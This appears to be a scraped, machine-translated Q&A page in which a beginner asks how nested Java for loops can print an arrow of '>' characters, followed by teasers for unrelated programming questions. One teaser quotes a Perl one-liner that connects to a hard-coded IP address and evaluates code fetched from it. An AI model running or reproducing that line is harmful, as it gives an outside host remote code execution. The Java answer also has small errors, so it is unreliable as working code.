- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我必须编写一个java程序,其中解决方案将包括根据行数打印箭头提示图。下面是结果的示例。但是,在我理解 for 循环之前我无法做到这一点。我知道我必须处理行和列以及可能的嵌套循环。我只是不知道如何使用 for 循环将行与列连接起来。请帮助我理解这些循环。谢谢!
示例#1(奇数行)
>
>>>
>>>>>
>>>>>>>
>>>>>
>>>
>
示例#2(偶数行)
>
>>>
>>>>>
>>>>>>>
>>>>>>>>>
>>>>>>>>>>>
>>>>>>>>>>>
>>>>>>>>>
>>>>>>>
>>>>>
>>>
>
最佳答案
for 循环将循环访问数据集合,例如数组。经典的 for 循环如下所示:
for(counter=0;counter <= iterations;counter++){ }
第一个参数是一个计数器变量。第二个参数表示循环应持续多长时间,第三个参数表示每次循环后计数器应增加多少。
如果我们想从 1 到 10 循环,我们执行以下操作:
for(counter=1;counter<=10;counter++){ System.out.println(counter); }
如果我们想从 10 - 1 循环,我们执行以下操作:
for(counter=10;counter>=1;counter--){ System.out.println(counter); }
如果我们想循环遍历一个二维集合,比如......
1 2 3
4 5 6
7 8 9
int[][] grid = new int[][] {{1,2,3},{4,5,6},{7,8,9}};
我们需要 2 个循环。外循环将遍历所有行,内循环将遍历所有列。
您将需要 2 个循环,一个循环遍历行,一个循环遍历列。
for(i=0;i<grid.length;i++){
//this will loop through all rows...
for(j=0;j<grid[i].length;j++){
//will go through all the columns in the first row, then all the cols in the 2nd row,etc
System.out.println('row ' + i + '-' + 'column' + j + ':' + grid[i][j]);
}
}
在外层循环中,我们将第一个参数的计数器设置为 0。对于第二个参数,为了计算我们将循环多少次,我们使用数组的长度,即 3,对于第三个参数,我们增加 1。我们可以使用计数器 i 来引用我们在循环内的位置。
然后我们使用 grid[i].length 确定特定行的长度。这将计算循环时每行的长度。
请随时提出有关 for 循环的任何问题!
编辑:理解问题......
您必须对代码执行几项操作。这里我们将行数存储在一个变量中,如果您需要将此值传递给方法,请大声说出来。
int lines = 10; //the number of lines
String carat = ">";
for(i=1;i<=lines;i++){
System.out.println(carat + "\n"); // last part for a newline
carat = carat + ">>";
}
以上将打印出一路向上的克拉数。我们打印出克拉变量,然后将克拉变量加长 2 克拉。
....接下来要做的事情是实现一些决定何时减少克拉的东西,或者我们可以增加一半并减少另一半。
编辑3:
Class Test {
public static void main(String[] args) {
int lines = 7;
int half = lines/2;
boolean even = false;
String carat = ">";
int i;
if(lines%2==0){even = true;} //if it is an even number, remainder will be 0
for(i=1;i<=lines;i++){
System.out.println(carat + "\n");
if(i==half && even){System.out.println(carat+"\n");} // print the line again if this is the middle number and the number of lines is even
if(((i>=half && even) || (i>=half+1)) && i!=lines){ // in english : if the number is even and equal to or over halfway, or if it is one more than halfway (for odd lined output), and this is not the last time through the loop, then lop 2 characters off the end of the string
carat = carat.substring(0,carat.length()-2);
}else{
carat = carat + ">>"; //otherwise, going up
}
}
}
}
很快就会有解释和评论。如果这过于复杂,我深表歉意(我很确定这甚至不是解决此问题的最佳方法)。
考虑一下这个问题,我们有一个驼峰,对于偶数,它出现在中间,对于奇数,它出现在中间。
在驼峰处,如果是偶数,我们就必须重复该字符串。
每次我们都必须开始起飞“<<”,因为我们正在下降。
如有疑问请询问。
关于java - 帮助理解 java 'for' 循环,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/5162845/
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!